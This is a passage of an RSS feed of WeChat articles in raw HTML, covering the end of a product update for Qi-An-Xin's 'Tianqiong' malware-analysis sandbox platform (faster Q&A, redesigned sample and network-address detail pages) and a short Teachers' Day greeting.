flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2"><span leaf=""><span textstyle="" style="font-size: 20px;">3</span></span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">响应速度显著提升</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过持续资源升级与模型优化，智能问答的响应速度大幅提升，回答耗时由原来的1分30秒缩短至30秒，如图13所示。</span></p><p nodeleaf=""><img data-imgfileid="100005196" alt="image-20250904174654350" class="rich_pages wxw-img" data-ratio="0.6647780925401322" data-type="png" data-w="1059" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;zoom: 0.8;" src="https://wechat2rss.xlab.app/img-proxy/?k=43a19d47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd02Q1ruukz5piaeWP3EnuBM0GJMoIyuve4Khu6NkmOVJH9xnlKCQtL3bQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图13 速度对比</span></center><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2"><span leaf=""><span textstyle="" style="font-size: 20px;">4</span></span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">详情页全面更新</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题，经过全面改进，新版详情页信息密度显著提升，能够展示更多高价值数据，以下是具体的升级内容。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">样本详情页</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本详情页在升级后，可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置，如图14所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005198" alt="image-20250904171444507" class="rich_pages wxw-img" data-ratio="1.0428380187416333" data-type="png" data-w="747" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=260bfddb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd04iaHufoJdw9XSQrFUegx7HYJr889WGKacdktgpKLqyWIhVLM3huz9nQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图14 样本详情页升级前后对比</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">网络详情页</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">网络地址详情页在升级后，可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息，如图15所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005202" alt="image-20250904173436821" class="rich_pages wxw-img" data-ratio="0.8498435870698644" data-type="png" data-w="959" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e57cb91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0qUsLZ6GjdgBv6LWCBhfn6KLcWOZUt8t9wc1wtFJBBoWpTPc6M9jrAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图15 网络详情页升级前后对比</span></center><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf=""><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2"><span leaf=""><span textstyle="" style="font-size: 20px;">5</span></span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">技术支持与反馈</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p><span leaf=""><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488858">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6b91b789&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488858%26idx%3D1%26sn%3Deaaece51c9ec7180f2866c6dd2847ca5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Sep 2025 17:53:00 +0800</pubDate>
    </item>
    <item>
      <title>浩繁世界，感谢良师开卷！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488828&amp;idx=1&amp;sn=29dc24e9abeb276ae7072a1592b65f28</link>
      <description>祝老师们教师节快乐！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-09-10 11:22</span> <span style="display: inline-block;">北京</span>
</p>

<p>祝老师们教师节快乐！</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=392710a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lm3dy6kMqZtzA4nDqQ4BaJVrvRvh1k88lTicibic1vJDbhlqVWgI2gv4XbrAcGZFSlAHJFO3E1tpmtA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100005176" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=5acce71b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lm3dy6kMqZtzA4nDqQ4BaJrJ793Flq71wyAYlIajRUUtiadobofvZBiaRFdxkjiaUlndta8DcicyQKqg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488828">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=10029e82&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488828%26idx%3D1%26sn%3D29dc24e9abeb276ae7072a1592b65f28">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Sep 2025 11:22:00 +0800</pubDate>
    </item>
  </channel>
</rss>